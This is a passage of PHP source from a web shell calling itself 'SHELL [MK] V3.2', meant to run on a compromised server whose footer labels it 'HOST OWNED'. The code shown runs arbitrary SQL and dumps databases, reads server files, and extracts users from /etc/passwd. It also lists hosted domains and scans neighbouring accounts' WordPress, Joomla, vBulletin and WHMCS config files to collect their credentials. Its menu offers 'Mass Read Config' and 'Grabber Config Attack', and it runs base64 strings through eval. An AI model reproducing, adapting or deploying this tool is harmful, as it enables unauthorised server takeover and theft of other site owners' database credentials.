658 | $db->dump($v); | |
659 | exit; } elseif($fp = @fopen($_POST['file'], 'w')) { | |
660 | foreach($_POST['tbl'] as $v) | |
661 | $db->dump($v, $fp); | |
662 | fclose($fp); | |
663 | unset($_POST['p2']); } else | |
664 | die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); } | |
665 | echo " <div class=content> <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> <td><select name='type'><option value='mysql' "; | |
666 | if(@$_POST['type']=='mysql') | |
667 | echo 'selected'; | |
668 | echo ">MySql</option><option value='pgsql' "; | |
669 | if(@$_POST['type']=='pgsql') | |
670 | echo 'selected'; | |
671 | echo ">PostgreSql</option></select></td> <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>"; $tmp = "<input type=text name=sql_base value=''>"; | |
672 | if(isset($_POST['sql_host'])){ | |
673 | if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { | |
674 | switch($_POST['charset']) { | |
675 | case "Windows-1251": $db->setCharset('cp1251'); | |
676 | break; | |
677 | case "UTF-8": $db->setCharset('utf8'); | |
678 | break; | |
679 | case "KOI8-R": $db->setCharset('koi8r'); | |
680 | break; | |
681 | case "KOI8-U": $db->setCharset('koi8u'); | |
682 | break; | |
683 | case "cp866": $db->setCharset('cp866'); | |
684 | break; } $db->listDbs(); | |
685 | echo "<select name=sql_base><option value=''></option>"; | |
686 | while($item = $db->fetch()) { | |
687 | list($key, $value) = each($item); | |
688 | echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; } | |
689 | echo '</select>'; } | |
690 | else | |
691 | echo $tmp; } | |
692 | else | |
693 | echo $tmp; | |
694 | echo "</td><td><input type=submit class=Mister-button value='Done' onclick='fs(d.sf);'></td> <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' CHECKED') . "> count the number of rows</td> </tr></table><script> s_db='".@addslashes($_POST['sql_base'])."'; function fs(f) { if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; if(f.p1) f.p1.value=''; if(f.p2) f.p2.value=''; if(f.p3) f.p3.value=''; } } function st(t,l) { d.sf.p1.value = 'select'; d.sf.p2.value = t; if(l && d.sf.p3) d.sf.p3.value = l; d.sf.submit(); } function is() { for(i=0;i<d.sf.elements['tbl[]'].length;++i) d.sf.elements['tbl[]'][i].CHECKED = !d.sf.elements['tbl[]'][i].CHECKED; } </script>"; | |
695 | if(isset($db) && $db->link){ | |
696 | echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
697 | if(!empty($_POST['sql_base'])){ $db->selectdb($_POST['sql_base']); | |
698 | echo "<tr><td width=1 style='border-top:1px solid #666;'><span>Tables:</span><br><br>"; | |
699 | $tbls_res = $db->listTables(); | |
700 | while($item = $db->fetch($tbls_res)) { | |
701 | list($key, $value) = each($item); | |
702 | if(!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); $value = htmlspecialchars($value); | |
703 | echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; } | |
704 | echo "<input type='checkbox' onclick='is();'> <input type=button class=Mister-button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:1px solid #666;'>"; | |
705 | if(@$_POST['p1'] == 'select') { | |
706 | $_POST['p1'] = 'query'; | |
707 | $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
708 | $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); | |
709 | $num = $db->fetch();$pages = ceil($num['n'] / 30); | |
710 | echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; | |
711 | echo " of $pages"; | |
712 | if($_POST['p3'] > 1) | |
713 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
714 | if($_POST['p3'] < $pages) | |
715 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
716 | $_POST['p3']--; | |
717 | if($_POST['type']=='pgsql') $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
718 | else $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
719 | echo "<br><br>"; } | |
720 | if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { | |
721 | $db->query(@$_POST['p2']); | |
722 | if($db->res !== false) { | |
723 | $title = false; | |
724 | echo '<table width=100% cellspacing=1 cellpadding=0 class=main >'; | |
725 | $line = 1; | |
726 | while($item = $db->fetch()) { | |
727 | if(!$title) { | |
728 | echo '<tr>'; | |
729 | foreach($item as $key => $value) | |
730 | echo '<th>'.$key.'</th>'; reset($item); | |
731 | $title=true; | |
732 | echo '</tr><tr>'; | |
733 | $line = 2; } | |
734 | echo '<tr class="l'.$line.'">'; | |
735 | $line = $line==1?2:1; | |
736 | foreach($item as $key => $value) { | |
737 | if($value == null) | |
738 | echo '<td><i>null</i></td>'; | |
739 | else | |
740 | echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; } | |
741 | echo '</tr>'; } | |
742 | echo '</table>'; } | |
743 | else { | |
744 | echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; } } | |
745 | echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
746 | if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
747 | echo htmlspecialchars($_POST['p2']); | |
748 | echo "</textarea><br/><input type=submit class=Mister-button value='EXECUTE'>"; | |
749 | echo "</td></tr>"; } | |
750 | echo "</table></form><br/>"; | |
751 | if($_POST['type']=='mysql') { | |
752 | $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); | |
753 | if($db->fetch()) | |
754 | echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit class =Mister-button value='Done'></form>"; } | |
755 | if(@$_POST['p1'] == 'loadfile') { | |
756 | $file = $db->loadFile($_POST['p2']); | |
757 | echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; } } | |
758 | else { | |
759 | echo htmlspecialchars($db->error()); } | |
760 | echo '<br><br>'; | |
761 | ///// FOOTER | |
762 | $FOTTER2 = "<footer class='MK-footer'>"; | |
763 | echo ''. $FOTTER2 .'' ; | |
764 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
765 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
766 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
767 | $SERVERIP1 = "SERVER IP :"; | |
768 | echo ''. $SERVERIP1 .'' ; | |
769 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
770 | $SPAN3 = "</span>"; | |
771 | echo ''. $SPAN2 .'' ; | |
772 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
773 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
774 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
775 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
776 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
777 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
778 | $HOSTOWNED1 = "HOST OWNED :"; | |
779 | echo ''. $HOSTOWNED1 .'' ; | |
780 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
781 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
782 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
783 | echo ''. $THEEND .'' ; | |
784 | exit; | |
785 | } | |
786 | ///////// EXTRACT | |
787 | if ($_GET["Mister"] == "EtcExtract"){ | |
788 | ///// FOOTER | |
789 | $FOTTER2 = "<footer class='MK-footer'>"; | |
790 | echo ''. $FOTTER2 .'' ; | |
791 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
792 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
793 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
794 | $SERVERIP1 = "SERVER IP :"; | |
795 | echo ''. $SERVERIP1 .'' ; | |
796 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
797 | $SPAN3 = "</span>"; | |
798 | echo ''. $SPAN2 .'' ; | |
799 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
800 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
801 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
802 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
803 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
804 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
805 | $HOSTOWNED1 = "HOST OWNED :"; | |
806 | echo ''. $HOSTOWNED1 .'' ; | |
807 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
808 | ||
809 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
810 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
811 | echo ''. $THEEND .'' ; | |
812 | echo "<br><center><nav class='social'><ul> | |
813 | <li><a href='?Mister=read'>Read /Etc/Passwd</a></li> | |
814 | <li><a href='?Mister=EtcExtract'> ExtracT Users From /etc/passwd</a></li> | |
815 | <li><a href='?Mister=Cms'>Cms Scanner</a></li> | |
816 | </ul></nav></center>"; | |
817 | echo "<nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0'>EXTRACT USERS FROM /ETC/PASSWD </span></nav><br><div class=content><center>"; | |
818 | echo '<form action="" method="POST"><textarea rows="20" cols="20" name="fpasswd" style="width:50%;"></textarea></br> | |
819 | <br><input type="submit" value="Go..!" class="Mister-button"></br></br>'; | |
820 | if(isset($_POST['fpasswd'])){ | |
821 | foreach(explode("\n",$_POST['fpasswd']) as $user){ | |
822 | $user = trim($user); | |
823 | $user = explode(":", $user); | |
824 | echo $user[0]."</br></form>"; | |
825 | } | |
826 | } | |
827 | exit; | |
828 | } | |
829 | /////// ABOUT | |
830 | if ($_GET['Mister'] == 'Abouts') { | |
831 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>ABOUT</span><center></nav>"; | |
832 | echo "<br><div class=content><center><img src='http://gulf-up.com/do.php?img=9366' height='150'></center><br>"; | |
833 | echo "<center><span style='font-size:20px;color:white'>SHELL [MK] V3.2</a></span></center> | |
834 | <br> | |
835 | <center><marquee direction='up' scrollamount='1' bgcolor='' width='400' height='50'><center> | |
836 | <center><span style='color:white'>CREATED BY MISTER KLIO</span><center> | |
837 | <center><span style='color:#0000F0;font-size:10px;'>YOUTUBER , KILLER HTML5, JAVASCRIPT, CSS , JS , ADOBE PHOTOSHOP <br> LOGICIEL, MATERIEL INFORMATIQUE ET PROGRAMMATION INFORMATIQUE</span><center> | |
838 | <br><center><span style='color:white'>MADE IN MOROCCO</span><center> | |
839 | <center><span style='color:#0000F0;font-size:10px;'> GREETZ TO : ALL MEMBERS OF CODERSLEET & CODERSARMY TEAM</span><center><br> | |
840 | <center><span style='color:white'>ABOUT SH3LL [MK]</span><center> | |
841 | <center><span style='color:#0000F0;font-size:10px;'>HACK IS NOT A CRIME , HACK JUSTE FOR TESTING THE SECURITY OF SERVER .</span></center> | |
842 | <center><span style='color:#0000F0;font-size:10px;'>AND TO READ THE ERUR OF THE STUPID PROGRAMMING .</span></center> | |
843 | <center><span style='color:#0000F0;font-size:10px;'>FOR UPDATE AND TO DEVLOP THE WEBSITE </span></center> | |
844 | <center><span style='color:#0000F0;font-size:10px;'>SH3LL MKV3 IS RESPONSIBLE JUSTE FOR TESTING THE SECURITY OF SERVER</span></center> | |
845 | <center><span style='color:#0000F0;font-size:10px;'>WE ARE THE NEW GENARATION , SH3LL MK FOR ME FOR YOU </span></center></marquee></center><br> | |
846 | <center><span style='color:white'>UPDATE UR VERSION 3.2 , REPPOT ERROR\n</span><center> | |
847 | <a target=\"_GET\" href=http://facebook.com/IzzAdiine> | |
848 | <span style='color:#0000F0;'>CONTACT</a><br><br><br><br><br> | |
849 | "; | |
850 | ///// FOOTER | |
851 | $FOTTER2 = "<footer class='MK-footer'>"; | |
852 | echo ''. $FOTTER2 .'' ; | |
853 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
854 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
855 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
856 | $SERVERIP1 = "SERVER IP :"; | |
857 | echo ''. $SERVERIP1 .'' ; | |
858 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
859 | $SPAN3 = "</span>"; | |
860 | echo ''. $SPAN2 .'' ; | |
861 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
862 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
863 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
864 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
865 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
866 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
867 | $HOSTOWNED1 = "HOST OWNED :"; | |
868 | echo ''. $HOSTOWNED1 .'' ; | |
869 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
870 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
871 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
872 | echo ''. $THEEND .'' ; | |
873 | exit; | |
874 | } | |
875 | ////// KILLING SHELL | |
876 | if ($_GET['Mister'] == 'Killing') { | |
877 | $IMGLOGO = '<div class=content><img src="http://gulf-up.com/do.php?img=9366" height="150">'; | |
878 | echo "<br><center>"; echo ''. $IMGLOGO .'</center><br>'; | |
879 | echo '<center><span style="font-size:10px; color:#0000F0">U REALLY WANT TO REMOVE SHELL ?</span></center>'; | |
880 | echo '<center><br><b><a href="?Mister=kil"><span style="color:#ff0000;" >YES</span></a> | |
881 | <a style="color:white;" href="?Mister=MKV"><span>NO</span></a></b></center><br> | |
882 | '; | |
883 | ///// FOOTER | |
884 | $FOTTER2 = "<footer class='MK-footer'>"; | |
885 | echo ''. $FOTTER2 .'' ; | |
886 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
887 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
888 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
889 | $SERVERIP1 = "SERVER IP :"; | |
890 | echo ''. $SERVERIP1 .'' ; | |
891 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
892 | $SPAN3 = "</span>"; | |
893 | echo ''. $SPAN2 .'' ; | |
894 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
895 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
896 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
897 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
898 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
899 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
900 | $HOSTOWNED1 = "HOST OWNED :"; | |
901 | echo ''. $HOSTOWNED1 .'' ; | |
902 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
903 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
904 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
905 | echo ''. $THEEND .'' ; | |
906 | exit; | |
907 | } | |
908 | /////////// GET DOMAINS | |
909 | if(isset($_GET['Mister']) && ($_GET['Mister'] == 'Domains')) { | |
910 | $FOTTER2 = "<footer class='MK-footer'>"; | |
911 | echo ''. $FOTTER2 .'' ; | |
912 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
913 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
914 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
915 | $SERVERIP1 = "SERVER IP :"; | |
916 | echo ''. $SERVERIP1 .'' ; | |
917 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
918 | $SPAN3 = "</span>"; | |
919 | echo ''. $SPAN2 .'' ; | |
920 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
921 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
922 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
923 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
924 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
925 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
926 | $HOSTOWNED1 = "HOST OWNED :"; | |
927 | echo ''. $HOSTOWNED1 .'' ; | |
928 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
929 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
930 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
931 | echo ''. $THEEND .'' ; | |
932 | echo "<br><center><nav class='social'><ul> | |
933 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
934 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
935 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
936 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
937 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
938 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
939 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
940 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
941 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
942 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
943 | </ul></nav></center>"; | |
944 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>GET ALL DOMAINS | |
945 | </span><center></nav>"; | |
946 | echo "<br><div class=content><center><span style=' color:#0000F0'> DOMAINS AND USERS </span></br>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center><span style=' color:red'> ERROR </span><span> : U CAN'T READ [ /ETC/NAMED.CONF ]</center><br>");}echo '<table class=MisterText"> | |
947 | <td>Domains</td><td>USERS</td></tr></table>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td></center>".$user['name']."</td></tr>";flush();}}} | |
948 | exit;} | |
949 | ///////// CMS SCANNER | |
950 | if ($_GET['Mister'] == 'Cms') { | |
951 | echo "<br><center><nav class='social'><ul> | |
952 | <li><a href='?Mister=read'>Read /Etc/Passwd</a></li> | |
953 | <li><a href='?Mister=EtcExtract'> ExtracT Users From /etc/passwd</a></li> | |
954 | <li><a href='?Mister=Cms'>Cms Scanner</a></li> | |
955 | </ul></nav></center>"; | |
956 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>CMS SCANNER | |
957 | </span></nav><br><div class=content><center>"; | |
958 | if(!@is_file('named.txt')){ | |
959 | $d00m = @file("/etc/named.conf"); | |
960 | }else{ | |
961 | $d00m = @file("named.txt"); | |
962 | } | |
963 | if(!$d00m) | |
964 | { | |
965 | die ("<meta http-equiv='refresh' content='0; url=?Mister=read'/>"); | |
966 | } | |
967 | else | |
968 | { | |
969 | echo "<div> | |
970 | <table align='center' width='40%' class='Mistertext'><td><span style=' color:white'>Domains </b></font></td><td><span style=' color:white'>Script</b></span></td>"; | |
971 | foreach($d00m as $dom){ | |
972 | flush(); | |
973 | flush(); | |
974 | if(eregi("zone",$dom)){ | |
975 | @preg_match_all('#zone "(.*)"#', $dom, $domvw); | |
976 | flush(); | |
977 | if(@strlen(trim($domvw[1][0])) > 2){ | |
978 | $user = @posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0])); | |
979 | $wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php"; | |
980 | $wpp=@get_headers($wpl); | |
981 | $wp=$wpp[0]; | |
982 | $wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php"; | |
983 | $wpp2=@get_headers($wp2); | |
984 | $wp12=$wpp2[0]; | |
985 | $jo1=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php"; | |
986 | $joo=@get_headers($jo1); | |
987 | $jo=$joo[0]; | |
988 | $jo2=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php"; | |
989 | $joo2=@get_headers($jo2); | |
990 | $jo12=$joo2[0]; | |
991 | $vb1=$pageURL."/sim/rut/home/".$user['name']."/public_html/includes/config.php"; | |
992 | $vbb=@get_headers($vb1); | |
993 | $vb=$vbb[0]; | |
994 | $vb2=$pageURL."/sim/rut/home/".$user['name']."/public_html/vb/includes/config.php"; | |
995 | $vbb2=@get_headers($vb2); | |
996 | $vb12=$vbb2[0]; | |
997 | $vb3=$pageURL."/sim/rut/home/".$user['name']."/public_html/forum/includes/config.php"; | |
998 | $vbb3=@get_headers($vb3); | |
999 | $vb13=$vbb3[0]; | |
1000 | $wh1=$pageURL."/sim/rut/home/".$user['name']."public_html/clients/configuration.php"; | |
1001 | $whh2= @get_headers($wh1); | |
1002 | $wh=$whh2[0]; | |
1003 | $wh2=$pageURL."/sim/rut/home/".$user['name']."/public_html/support/configuration.php"; | |
1004 | $whh2= @get_headers($wh2); | |
1005 | $wh12=$whh2[0]; | |
1006 | $wh3=$pageURL."/sim/rut/home/".$user['name']."/public_html/database.php"; | |
1007 | $whh3= @get_headers($wh3); | |
1008 | $wh13=$whh3[0]; | |
1009 | $wh5=$pageURL."/sim/rut/home/".$user['name']."/public_html/config.php"; | |
1010 | $whh5= @get_headers($wh5); | |
1011 | $wh15=$whh5[0]; | |
1012 | $wspan=$pageURL."/sim/rut/home/".$user['name']."/public_html/client/configuration.php"; | |
1013 | $whspan= @get_headers($wspan); | |
1014 | $wh14=$whspan[0]; | |
1015 | $pos = strpos($wp, "200"); | |
1016 | $config=" "; | |
1017 | ||
1018 | if (strpos($wp, "200") == true ) | |
1019 | { | |
1020 | $config="<div><a href='".$wpl."' target='_blank'>Wordpress</a></div>"; | |
1021 | } | |
1022 | elseif (strpos($wp12, "200") == true) | |
1023 | { | |
1024 | $config="<div><a href='".$wp2."' target='_blank'>Wordpress</a></div>"; | |
1025 | } | |
1026 | ||
1027 | elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true ) | |
1028 | { | |
1029 | $config=" <div><a href='".$wh5."' target='_blank'>WHMCS</a></div>"; | |
1030 | ||
1031 | } | |
1032 | elseif (strpos($wh12, "200") == true) | |
1033 | { | |
1034 | $config ="<div> <a href='".$wh2."' target='_blank'>WHMCS</a></div>"; | |
1035 | } | |
1036 | ||
1037 | elseif (strpos($wh13, "200") == true) | |
1038 | { | |
1039 | $config ="<div> <a href='".$wh3."' target='_blank'>WHMCS</a></div>"; | |
1040 | ||
1041 | } | |
1042 | ||
1043 | elseif (strpos($jo, "200") == true) | |
1044 | { | |
1045 | $config=" <div><a href='".$jo1."' target='_blank'>Joomla</a></div>"; | |
1046 | } | |
1047 | ||
1048 | elseif (strpos($jo12, "200") == true) | |
1049 | { | |
1050 | $config=" <div><a href='".$jo2."' target='_blank'>Joomla</a></div>"; | |
1051 | } | |
1052 | ||
1053 | elseif (strpos($vb, "200") == true) | |
1054 | { | |
1055 | $config=" <div><a href='".$vb1."' target='_blank'>vBulletin</a></div>"; | |
1056 | } | |
1057 | ||
1058 | elseif (strpos($vb12, "200") == true) | |
1059 | { | |
1060 | $config=" <div><a href='".$vb2."' target='_blank'>vBulletin</a></div>"; | |
1061 | } | |
1062 | ||
1063 | elseif (strpos($vb13, "200") == true) | |
1064 | { | |
1065 | $config=" <div><a href='".$vb3."' target='_blank'>vBulletin</a></div>"; | |
1066 | } | |
1067 | ||
1068 | else | |
1069 | { | |
1070 | continue; | |
1071 | } | |
1072 | flush(); | |
1073 | flush(); | |
1074 | ||
1075 | ||
1076 | $site = $user['name'] ; | |
1077 | ||
1078 | ||
1079 | ||
1080 | flush(); | |
1081 | ||
1082 | echo "<tr><td><a href=http://www.".$domvw[1][0]."/>".$domvw[1][0]."</a></td> | |
1083 | <td>".$config."</div></td></tr>"; flush(); | |
1084 | ||
1085 | } | |
1086 | } | |
1087 | } | |
1088 | } | |
1089 | echo "</table></div><br><br>"; | |
1090 | $FOTTER2 = "<footer class='MK-footer'>"; | |
1091 | echo ''. $FOTTER2 .'' ; | |
1092 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
1093 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
1094 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1095 | $SERVERIP1 = "SERVER IP :"; | |
1096 | echo ''. $SERVERIP1 .'' ; | |
1097 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
1098 | $SPAN3 = "</span>"; | |
1099 | echo ''. $SPAN2 .'' ; | |
1100 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
1101 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
1102 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
1103 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
1104 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
